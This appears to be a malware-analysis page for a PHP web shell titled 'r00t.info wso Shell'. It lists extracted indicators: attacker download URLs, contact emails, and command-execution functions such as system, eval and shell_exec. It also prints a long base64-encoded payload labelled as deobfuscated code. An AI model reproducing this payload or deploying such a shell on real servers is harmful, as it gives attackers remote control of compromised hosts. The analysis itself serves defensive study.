PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
base64_encode
URLs
http://byr00t.co/l
http://imagizer.imageshack.us/a/img440/4273/6fix.png
http://i.hizliresim.com/z4lrbR.png
https://byr00t.co/vb/cpanel.zip
http://r00t.info/shell-dosyalar/logo.png
http://www.facebook.com/plugins/likebox.php
https://www.facebook.com/r00t.info&
https://byr00t.co/vb/cgi.zip
http://www
https://byr00t.co/vb/sqlbuddy.zip
www.voidspace.org.uk/atlantibots/pythonutils.html
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://byr00t.co/txt/tools.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/seo.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/phpinfo.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
http://phpshell.in/txt/lamer.txt
Emails
byhero44@gmail.com
suppor@nic.org
Title
r00t.info wso Shell
Execution
system
eval
exec
passthru
shell_exec
Input
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code

<?php

$stt1 = "Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUCkuKTHQBAFrAA==";
$stt0 = "==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